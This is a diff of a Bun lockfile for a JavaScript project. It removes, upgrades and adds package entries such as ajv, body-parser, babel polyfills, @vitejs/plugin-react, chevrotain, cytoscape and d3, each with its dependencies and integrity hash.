-
- "@webassemblyjs/wasm-edit": ["@webassemblyjs/wasm-edit@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/helper-wasm-section": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-opt": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1", "@webassemblyjs/wast-printer": "1.12.1" } }, "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g=="],
-
- "@webassemblyjs/wasm-gen": ["@webassemblyjs/wasm-gen@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w=="],
-
- "@webassemblyjs/wasm-opt": ["@webassemblyjs/wasm-opt@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1" } }, "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg=="],
-
- "@webassemblyjs/wasm-parser": ["@webassemblyjs/wasm-parser@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-api-error": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ=="],
-
- "@webassemblyjs/wast-printer": ["@webassemblyjs/wast-printer@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@xtuc/long": "4.2.2" } }, "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA=="],
+ "@vitejs/plugin-react": ["@vitejs/plugin-react@5.1.4", "", { "dependencies": { "@babel/core": "^7.29.0", "@babel/plugin-transform-react-jsx-self": "^7.27.1", "@babel/plugin-transform-react-jsx-source": "^7.27.1", "@rolldown/pluginutils": "1.0.0-rc.3", "@types/babel__core": "^7.20.5", "react-refresh": "^0.18.0" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA=="],
"@xmldom/is-dom-node": ["@xmldom/is-dom-node@1.0.1", "", {}, "sha512-CJDxIgE5I0FH+ttq/Fxy6nRpxP70+e2O048EPe85J2use3XKdatVM7dDVvFNjQudd9B49NPoZ+8PG49zj4Er8Q=="],
"@xmldom/xmldom": ["@xmldom/xmldom@0.8.10", "", {}, "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw=="],
- "@xtuc/ieee754": ["@xtuc/ieee754@1.2.0", "", {}, "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="],
-
- "@xtuc/long": ["@xtuc/long@4.2.2", "", {}, "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="],
-
- "abab": ["abab@2.0.6", "", {}, "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA=="],
-
"abbrev": ["abbrev@1.1.1", "", {}, "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="],
"abstract-logging": ["abstract-logging@2.0.1", "", {}, "sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA=="],
@@ -2129,8 +2287,6 @@
"acorn": ["acorn@8.15.0", "", { "bin": "bin/acorn" }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
- "acorn-globals": ["acorn-globals@7.0.1", "", { "dependencies": { "acorn": "^8.1.0", "acorn-walk": "^8.0.2" } }, "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q=="],
-
"acorn-import-attributes": ["acorn-import-attributes@1.9.5", "", { "peerDependencies": { "acorn": "^8" } }, "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ=="],
"acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="],
@@ -2139,12 +2295,10 @@
"agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="],
- "ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="],
+ "ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="],
"ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" }, "peerDependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="],
- "ajv-keywords": ["ajv-keywords@3.5.2", "", { "peerDependencies": { "ajv": "^6.9.1" } }, "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="],
-
"anser": ["anser@2.1.1", "", {}, "sha512-nqLm4HxOTpeLOxcmB3QWmV5TcDFhW9y/fyQ+hivtDFcK4OQ+pQ5fzPnXHM1Mfcm0VkLtvVi1TCPr++Qy0Q/3EQ=="],
"ansi-escapes": ["ansi-escapes@4.3.2", "", { "dependencies": { "type-fest": "^0.21.3" } }, "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ=="],
@@ -2161,7 +2315,7 @@
"arg": ["arg@4.1.3", "", {}, "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA=="],
- "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
+ "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
"aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="],
@@ -2223,11 +2377,11 @@
"babel-plugin-jest-hoist": ["babel-plugin-jest-hoist@30.2.0", "", { "dependencies": { "@types/babel__core": "^7.20.5" } }, "sha512-ftzhzSGMUnOzcCXd6WHdBGMyuwy15Wnn0iyyWGKgBDLxf9/s5ABuraCSpBX2uG0jUg4rqJnxsLc5+oYBqoxVaA=="],
- "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.12", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.6.3", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og=="],
+ "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
- "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.11.1", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3", "core-js-compat": "^3.40.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-yGCqvBT4rwMczo28xkH/noxJ6MZ4nJfkVYdoDaC/utLtWrXxv27HVrzAeSbqR8SxDsp46n0YF47EbHoixy6rXQ=="],
+ "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
- "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.3", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q=="],
+ "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
"babel-plugin-replace-ts-export-assignment": ["babel-plugin-replace-ts-export-assignment@0.0.2", "", {}, "sha512-BiTEG2Ro+O1spuheL5nB289y37FFmz0ISE6GjpNCG2JuA/WNcuEHSYw01+vN8quGf208sID3FnZFDwVyqX18YQ=="],
@@ -2253,7 +2407,7 @@
"base64url": ["base64url@3.0.1", "", {}, "sha512-ir1UPr3dkwexU7FdV8qBBbNDRUhMmIekYMFZfi+C/sLNnRESKPl23nB9b2pltqfOQNnGzsDdId90AEtG5tCx4A=="],
- "baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+ "baseline-browser-mapping": ["baseline-browser-mapping@2.10.0", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA=="],
"bcryptjs": ["bcryptjs@2.4.3", "", {}, "sha512-V/Hy/X9Vt7f3BbPJEi8BdVFMByHi+jNXrYkW3huaybV/kQ0KJg0Y6PkEMbn+zeT+i+SiKZ/HMqJGIIt4LZDqNQ=="],
@@ -2261,9 +2415,11 @@
"binary-extensions": ["binary-extensions@2.2.0", "", {}, "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="],
+ "bluebird": ["bluebird@3.4.7", "", {}, "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA=="],
+
"bn.js": ["bn.js@4.12.1", "", {}, "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg=="],
- "body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="],
+ "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="],
"boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="],
@@ -2351,9 +2507,11 @@
"cheerio-select": ["cheerio-select@2.1.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-select": "^5.1.0", "css-what": "^6.1.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3", "domutils": "^3.0.1" } }, "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g=="],
- "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="],
+ "chevrotain": ["chevrotain@11.1.2", "", { "dependencies": { "@chevrotain/cst-dts-gen": "11.1.2", "@chevrotain/gast": "11.1.2", "@chevrotain/regexp-to-ast": "11.1.2", "@chevrotain/types": "11.1.2", "@chevrotain/utils": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-opLQzEVriiH1uUQ4Kctsd49bRoFDXGGSC4GUqj7pGyxM3RehRhvTlZJc1FL/Flew2p5uwxa1tUDWKzI4wNM8pg=="],
- "chrome-trace-event": ["chrome-trace-event@1.0.3", "", {}, "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg=="],
+ "chevrotain-allstar": ["chevrotain-allstar@0.3.1", "", { "dependencies": { "lodash-es": "^4.17.21" }, "peerDependencies": { "chevrotain": "^11.0.0" } }, "sha512-b7g+y9A0v4mxCW1qUhf3BSVPg+/NvGErk/dOkrDaHA0nQIQGAtrOjlX//9OQtRlSCy+x9rfB5N8yC71lH1nvMw=="],
+
+ "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="],
"ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="],
@@ -2419,6 +2577,8 @@
"concat-with-sourcemaps": ["concat-with-sourcemaps@1.1.0", "", { "dependencies": { "source-map": "^0.6.1" } }, "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg=="],
+ "confbox": ["confbox@0.1.8", "", {}, "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w=="],
+
"connect-redis": ["connect-redis@8.1.0", "", { "peerDependencies": { "express-session": ">=1" } }, "sha512-Km0EYLDlmExF52UCss5gLGTtrukGC57G6WCC2aqEMft5Vr4xNWuM4tL+T97kWrw+vp40SXFteb6Xk/7MxgpwdA=="],
"console-browserify": ["console-browserify@1.2.0", "", {}, "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="],
@@ -2445,13 +2605,13 @@
"copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="],
- "core-js-compat": ["core-js-compat@3.40.0", "", { "dependencies": { "browserslist": "^4.24.3" } }, "sha512-0XEDpr5y5mijvw8Lbc6E5AkjrHfp7eEoPlu36SWeAbcL8fn1G1ANe8DBlo2XoNN89oVpxWwOjYIPVzR4ZvsKCQ=="],
+ "core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
- "core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+ "core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
"cors": ["cors@2.8.5", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g=="],
- "cosmiconfig": ["cosmiconfig@8.3.6", "", { "dependencies": { "import-fresh": "^3.3.0", "js-yaml": "^4.1.0", "parse-json": "^5.2.0", "path-type": "^4.0.0" }, "peerDependencies": { "typescript": ">=4.9.5" } }, "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA=="],
+ "cose-base": ["cose-base@1.0.3", "", { "dependencies": { "layout-base": "^1.0.0" } }, "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg=="],
"create-ecdh": ["create-ecdh@4.0.4", "", { "dependencies": { "bn.js": "^4.1.0", "elliptic": "^6.5.3" } }, "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A=="],
@@ -2473,13 +2633,13 @@
"crypto-random-string": ["crypto-random-string@2.0.0", "", {}, "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="],
- "css-blank-pseudo": ["css-blank-pseudo@5.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aCU4AZ7uEcVSUzagTlA9pHciz7aWPKA/YzrEkpdSopJ2pvhIxiQ5sYeMz1/KByxlIo4XBdvMNJAVKMg/GRnhfw=="],
+ "css-blank-pseudo": ["css-blank-pseudo@8.0.1", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C5B2e5hCM4llrQkUms+KnWEMVW8K1n2XvX9G7ppfMZJQ7KAS/4rNnkP1Cs+HhWriOz1mWWTMFD4j1J7s31Dgug=="],
"css-declaration-sorter": ["css-declaration-sorter@6.4.1", "", { "peerDependencies": { "postcss": "^8.0.9" } }, "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g=="],
- "css-has-pseudo": ["css-has-pseudo@5.0.2", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.1", "postcss-selector-parser": "^6.0.10", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-q+U+4QdwwB7T9VEW/LyO6CFrLAeLqOykC5mDqJXc7aKZAhDbq7BvGT13VGJe+IwBfdN2o3Xdw2kJ5IxwV1Sc9Q=="],
+ "css-has-pseudo": ["css-has-pseudo@8.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Uz/bsHRbOeir/5Oeuz85tq/yLJLxX+3dpoRdjNTshs6jjqwUg8XaEZGDd0ci3fw7l53Srw0EkJ8mYan0eW5uGQ=="],
- "css-prefers-color-scheme": ["css-prefers-color-scheme@8.0.2", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-OvFghizHJ45x7nsJJUSYLyQNTzsCU8yWjxAc/nhPQg1pbs18LMoET8N3kOweFDPy0JV0OSXN2iqRFhPBHYOeMA=="],
+ "css-prefers-color-scheme": ["css-prefers-color-scheme@11.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-fv0mgtwUhh2m9iio3Kxc2CkrogjIaRdMFaaqyzSFdii17JF4cfPyMNX72B15ZW2Nrr/NZUpxI4dec1VMHYJvdw=="],
"css-select": ["css-select@5.2.2", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.1.0", "domhandler": "^5.0.2", "domutils": "^3.0.1", "nth-check": "^2.0.1" } }, "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw=="],
@@ -2489,7 +2649,7 @@
"css.escape": ["css.escape@1.5.1", "", {}, "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg=="],
- "cssdb": ["cssdb@7.10.0", "", {}, "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA=="],
+ "cssdb": ["cssdb@8.8.0", "", {}, "sha512-QbLeyz2Bgso1iRlh7IpWk6OKa3lLNGXsujVjDMPl9rOZpxKeiG69icLpbLCFxeURwmcdIfZqQyhlooKJYM4f8Q=="],
"cssesc": ["cssesc@3.0.0", "", { "bin": "bin/cssesc" }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="],
@@ -2503,14 +2663,84 @@
"csso": ["csso@4.2.0", "", { "dependencies": { "css-tree": "^1.1.2" } }, "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA=="],
- "cssom": ["cssom@0.5.0", "", {}, "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw=="],
-
"cssstyle": ["cssstyle@4.6.0", "", { "dependencies": { "@asamuzakjp/css-color": "^3.2.0", "rrweb-cssom": "^0.8.0" } }, "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg=="],
"csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="],
+ "cytoscape": ["cytoscape@3.33.1", "", {}, "sha512-iJc4TwyANnOGR1OmWhsS9ayRS3s+XQ185FmuHObThD+5AeJCakAAbWv8KimMTt08xCCLNgneQwFp+JRJOr9qGQ=="],
+
+ "cytoscape-cose-bilkent": ["cytoscape-cose-bilkent@4.1.0", "", { "dependencies": { "cose-base": "^1.0.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ=="],
+
+ "cytoscape-fcose": ["cytoscape-fcose@2.2.0", "", { "dependencies": { "cose-base": "^2.2.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ=="],
+
"d": ["d@1.0.2", "", { "dependencies": { "es5-ext": "^0.10.64", "type": "^2.7.2" } }, "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw=="],
+ "d3": ["d3@7.9.0", "", { "dependencies": { "d3-array": "3", "d3-axis": "3", "d3-brush": "3", "d3-chord": "3", "d3-color": "3", "d3-contour": "4", "d3-delaunay": "6", "d3-dispatch": "3", "d3-drag": "3", "d3-dsv": "3", "d3-ease": "3", "d3-fetch": "3", "d3-force": "3", "d3-format": "3", "d3-geo": "3", "d3-hierarchy": "3", "d3-interpolate": "3", "d3-path": "3", "d3-polygon": "3", "d3-quadtree": "3", "d3-random": "3", "d3-scale": "4", "d3-scale-chromatic": "3", "d3-selection": "3", "d3-shape": "3", "d3-time": "3", "d3-time-format": "4", "d3-timer": "3", "d3-transition": "3", "d3-zoom": "3" } }, "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA=="],
+
+ "d3-array": ["d3-array@3.2.4", "", { "dependencies": { "internmap": "1 - 2" } }, "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg=="],
+
